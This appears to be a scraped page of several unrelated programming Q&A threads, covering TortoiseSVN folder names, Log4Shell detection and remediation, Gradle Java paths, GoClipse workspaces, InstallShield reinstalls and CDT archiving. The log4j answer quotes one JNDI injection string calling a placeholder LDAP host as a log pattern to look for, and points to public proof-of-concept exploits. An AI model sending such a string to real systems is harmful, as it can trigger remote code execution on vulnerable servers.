I want to rename that folder to have a _ instead . (_svn) by default. I cant find that setting but I know its there somewhere, I did it some time ago on another PC. Any idea where to look?
Thanks!
According to this answer and this Subversion release note having folders with _svn instead of .svn was just a hack to workaround the inability of some ASP.NET environments to handle folders prefixed with dot. In later ASP.NET environments this problem is fixed, so now there is no need to support the hack anymore. If you're not forced to have _svn folders then just accept .svn, because you don't have control over it. If _svn is a must then use older version of TortoiseSVN.
The documentation states that the option for the setting mentioned above has been hidden since version 1.4.0.
To enable the SVN_ASP_DOT_NET_HACK env variable you need to run the installer like this:
msiexec /i TortoiseSVN-1.4.0.msi ASPDOTNETHACK=TRUE
(Replace version number of .msi accordingly)
Related
Recently there was a log4j vulnerability reported:
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://www.randori.com/blog/cve-2021-44228/
https://www.lunasec.io/docs/blog/log4j-zero-day/
How do I know exactly my system has been attacked or exploited by injected arbitrary code?
Thank you so much
UPDATE: 2021-12-18...
Remember to always check for the latest information from the resources listed below
CVE-2021-45105... 2.16.0 and 2.12.2 are no longer valid remediations! The current fixing versions are 2.17.0 (Java 8) and 2.12.3 (Java 7). All other Java versions have to take the stop gap approach (removing/deleting JndiLookup.class file from the log4j-core JAR.
I have updated my message below accordingly.
Answering the question directly:
Reddit thread: log4j_0day_being_exploited has SEVERAL resources that can help you.
To detect vulnerability
cntl + f for Vendor Advisories. Check those lists to see if you are running any of that software. If you are and an update is available for it, update.
THEN cntl + f for .class and .jar recursive hunter. Run the program there, if it finds anything remediate.
You can also cntl + f for Vulnerability Detection if you want to perform a manual active test of your systems for the vulnerability
To detect exploit... this is more complex and all I do is is till you
cntl + f for Vendor Advisories... search through the stuff there... not sure which option will be best for you
More resources
https://www.reddit.com/r/blueteamsec/comments/rd38z9/log4j_0day_being_exploited/
This one has TONS of useful info including detectors, even more resource links, very easy to understand remediation steps, and more
https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance
https://github.com/cisagov/log4j-affected-db
https://logging.apache.org/log4j/2.x/security.html
Remediation:
CVE-2021-45046 ... CVE-2021-44228 ... CVE-2021-45105
While most people that need to know probably already know enough to do what they need to do, I thought I would still put this just in case...
Follow the guidance in those resources... it may change, but
As of 2021-12-18
It's basically
Remove log4j-core JAR files if possible
From both running machines for immediate fix AND
in your source code / source code management files to prevent future builds / releases / deployments from overwriting the change
If that is not possible (due to a dependency), upgrade them
If you are running Java8, then you can upgrade to log4j 2.17.0+
If you are running an earlier version of Java, then you can upgrade to log4j 2.12.3
If you are running an older version of Java, then you need to upgrade to the newest version of Java, and then use the newest version of Log4J
Again, these changes have to happen both on running machine and in code
If neither of those are possible for some reason... then there is the NON-remediation stop gap of removing the JndiLookup.class file from the log4j-core JARs.
There is a one-liner for the stop gap option on Linux using the zip command that comes packaged with most Linux distros by default.
zip -q -d "$LOG4J_JAR_PATH" org/apache/logging/log4j/core/lookup/JndiLookup.class
At time of writing, most of the guides online for the stop gap option on Windows say to do the following (again... assuming you can't do one of the remove JAR or upgrade options above):
Install something like 7-zip
Locate all of your log4j-core JAR files and for each one do the following...
Rename the JAR to change the extension to .zip
Use 7-zip to unzip the JAR (which now has a .zip extension)
Locate and remove the JndiLookup.class file from the unzipped folder
The path is \\path\\to\\unzippedFolder\\org\\apache\\logging\\log4j\\core\\lookup\\JndiLookup.class
Delete the old JAR file (which now has an extension of .zip)
Use 7-zip to RE-zip the folder
Rename the new .zip folder to change the extension to .jar
There are also some options to use Power Shell
Reddit thread: log4j_0day_being_exploited
ctrl+f for "PowerShell"
This is fine if you only have 1 or 2 JAR files to deal with and you don't mind installing 7-zip or you have PowerShell available to do it. However, if you have lots of JAR files, or if you don't want to install 7-zip and don't have access to Power Shell, I created an open-source VBS script that will do it for you without needing to install any additional software. https://github.com/CrazyKidJack/Windowslog4jClassRemover
Read the README and the Release Notes https://github.com/CrazyKidJack/Windowslog4jClassRemover/releases/latest
You can check on your request log if you see something looking like this :
{jndi:ldap://example.com:1234/callback}
If you want to check if you can be attacked, you can run a POC from Github. This link seems to be the first POC released. You can now find others.
You can also find a black-box testing here.
I'm working on 2 different machines (home vs. work) and transfer the code via GitHub, which works nice, but I just ran into a machine dependency when I added this code to the gradle.properties file to fix a vexing OAuth issue for google sheets:
org.gradle.java.home=C:\Program Files\Java\jdk1.8.0_131
org.gradle.java.home=C:\Program Files\Java\jdk1.8.0_77
Now I have to toggle between the 2 lines to get Gradle to compile. Need to check if I still need it (since I got the keystore files etc. sorted out), but I also wonder whether there is an easy solution to make this work (e.g. something like ifdef).
Obviously, I could just change the directory name in one of the machines I guess, but still curious how to solve this within Studio.
Lets start with a quote from the Gradle docs:
org.gradle.java.home
Specifies the Java home for the Gradle build process. The value can be set to either a jdk or jre location, however, depending on what your build does, jdk is safer. A reasonable default is used if the setting is unspecified.
So, by default, you should not need this project property (thats what they are called in Gradle).
However, there can be reasons, that you need to specify the Java directory. For this specific project property, you can follow Ray Tayeks advice and use the JAVA_HOME environment variable (on both systems). But there is also another approach, which can be used for any project property (and also for so-called system properties):
gradle.properties files can be located at different locations of the file system. Your files are located in the project directory and, therefor, they are included in your VCS. You can use them / it for project-related properties. An additional location is in the Gradle user home directory, which is by default the .gradle folder in your personal folder. This folder is not under version control, so simply define the property there.
try removing the line from the properties file. if that fails, try setting JAVA_HOME on each machine.
there are a lot of related questions.
you might try asking on the gradle forums.
I have been trying to use GoClipse (0.8.1v2001409161333 - latest available from the goclipse_feature.feature.group) with Eclipse (4.4.2) on Linux (CentOS6.6) with GO (1.4.2-2.el6) installed via yum from EPEL and have only achieved partial functionality.
Intellisense appears to work fine for the built in packages but GoClipse appears to do something weird with it's directory structure that is different from the normal GO workspace layout. The existing structure under source control looks like:
$GOPATH/bin/...
$GOPATH/pkg/...
$GOPATH/src/externalsite/module/version/*.go
$GOPATH/src/externalsite/module/version/subdir/*.go
$GOPATH/src/me/module/*.go
$GOPATH/src/me/module/feature/*.go
When I try and use GoClipse it always appears to insist that the *.go files must be a peer of the bin|pkg|src directories. This means that I either have my *.go files at $GOPATH or tell GoClipse where main.go is ($GOPATH/src/me/module/main.go) and GoClipse creates the bin|pkg|src directories again:
$GOPATH/src/me/module/bin/
$GOPATH/src/me/module/pkg/
$GOPATH/src/me/module/src/
My GoClipse configuration has $GOPATH set appropriately (I have tried with $GOROOT undefined or set to the yum install location to no effect) and when creating the Go project from existing code specifying the location as $GOPATH/src/me/module/ (manually expanding $GOPATH)
Some resources that I have located do not appear to offer any advice on getting GoClipse to respect the proper go workspace structure and I am hoping someone can tell me how to do this.
The following resources might be of interest but they do not solve this difficulty:
How to run a GO project in eclipse with goclipse installed
https://github.com/GoClipse/goclipse
Indeed, goclipse.github.io/releases is the latest update site URL, so you should use the latest version (the URL did change several times since in the span of the previous year). The way Goclipse handles the Go enviroment has changed significantly since 0.8.0, particularly with 0.9.0, which allows creating an Eclipse project on a folder inside a GOPATH 'src' entry. (and other cases are handled better, especially with the builder).
Note: you will need to recreate your Eclipse Go projects after updating (0.10.0 had some internal, non backward-compatible changes).
You might want to consult the changelog for more details: https://github.com/GoClipse/goclipse/releases
Is there a NoUninstall=Y or similar option I can put into Setup.ini for a program?
I want to compare the behaviour of a patched and non-patched version of some software. To do that, I need 2 copies installed in different folders.
When I run setup.exe the second time, I am prompted to uninstall.
If I change DoMaintenance=N -> DoMaintenance=Y, I get the option to Modify, Repair, Uninstall.
I do not have access to the original InstallShield project files.
I'd like to avoid having to use Virtual PC.
Otherwise can I change the GUID of the first install within Windows/Regedit?
I don't sure regarding changing GUIDs of installer in registry, but I guess it's possible, but the better will be change your setup. As I understood you have access to setup.ini, and perhaps you have access to msi? If so, you could change GUIDs of components, PackageCode, UpgradeCode, ProductCode and ProductName or ProductVersion.
P.S. For editing MSI you can use Orca, or more useful and also free InstEd.
What files can be safely removed from CDT project and workspace before archiving or saving in a source control system?
Having MSVC experience, I tried to remove Debug and Release directories, this was really bad idea :(
Are you using an Eclipse plug-in for your version control system of choice? They seem to take care of everything (at least in my experience with the CVS and Mercurial plugins). If not, you'll need to tell Eclipse to refresh pretty much your whole project whenever you've interacted with version control.
The contents of the Debug and Release directories should all be autogenerated. If they're not, something's wrong.
Rather than what you can delete, turn it around and consider what you need to keep:
.project, .cproject and (if it exists) .settings
Your source directories
Your include directories
Any other human-created files at the top level e.g. Changelog, documentation
It may also be worthwhile looking inside the .metadata directory in your workspace root; for example, any launch configurations you have created are stored by default in .metadata/.plugins/org.eclipse.debug.core/.launches/ . (Although I have seen them inside project directories from time to time.)